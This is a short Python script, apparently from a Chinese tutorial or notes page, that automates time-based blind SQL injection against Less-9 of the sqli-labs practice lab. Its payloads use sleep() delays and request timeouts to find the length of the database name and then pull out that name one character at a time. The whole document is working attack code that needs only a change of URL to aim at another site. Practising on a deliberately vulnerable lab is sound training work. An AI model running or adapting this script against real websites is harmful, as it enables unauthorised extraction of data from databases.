Python脚本--延时注入

import requests,string

url= "http://10.1.1.11/sqli-labs/Less-9/"
headers= {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
}

# 判断超时
def get_timeout(url):
    try:
        res= requests.get(url= url, headers= headers, timeout=2)
    except:
        return "Timeout"
    else:
        return res.text
# 获取数据库长度
def get_db_len():
    for i in range(1,100) :       
        payload= f"?id=1' and if(length(database())={i},sleep(5),1) --+"
        full_url= url+payload 
        # print(full_url)
        if "Timeout" in get_timeout(url= full_url):
            break
    return i
db_len= get_db_len()
print(f"[+] The db leng is : {db_len}")
# 按位获取数据库名
def get_db_name():
    c_set= string.printable.strip()
    db_name= ""
    for i in range(1,db_len+ 1):
        for c in c_set:
            payload= f"?id=1' and if(ascii(substr(database(),{i},1))={ord(c)},sleep(5),1) --+"
            full_url= url+ payload
            # print(full_url)
            if "Timeout" in get_timeout(full_url):
                db_name+= c
                break
    return db_name
db_name= get_db_name()
print(f"[+] The db_name is : {db_name}")